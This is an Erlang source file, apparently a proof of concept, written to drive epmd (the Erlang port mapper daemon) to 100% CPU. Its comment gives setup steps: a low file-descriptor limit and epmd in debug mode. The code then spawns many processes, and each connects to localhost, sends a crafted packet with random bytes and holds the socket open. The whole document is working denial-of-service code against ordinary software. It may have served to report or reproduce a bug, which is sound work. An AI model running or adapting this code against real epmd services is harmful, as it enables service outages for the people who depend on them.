emfile.erl

%%% Cause epmd to use 100% CPU
%%%
%%% ulimit -n 16
%%% epmd -d -p 1234
%%%
%%% $ erl
%%% emfile:start(1234,32).
%%%
-module(emfile).
-compile(export_all).

start(Port,N) ->
    crypto:start(),
    loop(Port,N).

loop(_,0) -> ok;
loop(Port, N) ->
    spawn(?MODULE, connect, [Port]),
    loop(Port, N-1).

connect(Port) ->
    Packet = list_to_binary([<<0,17,120,217,54,77,0,0,5,0,5,0,4>>,
            crypto:rand_bytes(4),
        <<0,0>>]),
    {ok, Socket} = gen_tcp:connect({127,0,0,1}, Port, [
            {packet,0},
            binary
        ]),
    ok = gen_tcp:send(Socket, Packet),
    wait().

wait() ->
    receive _ -> wait() end.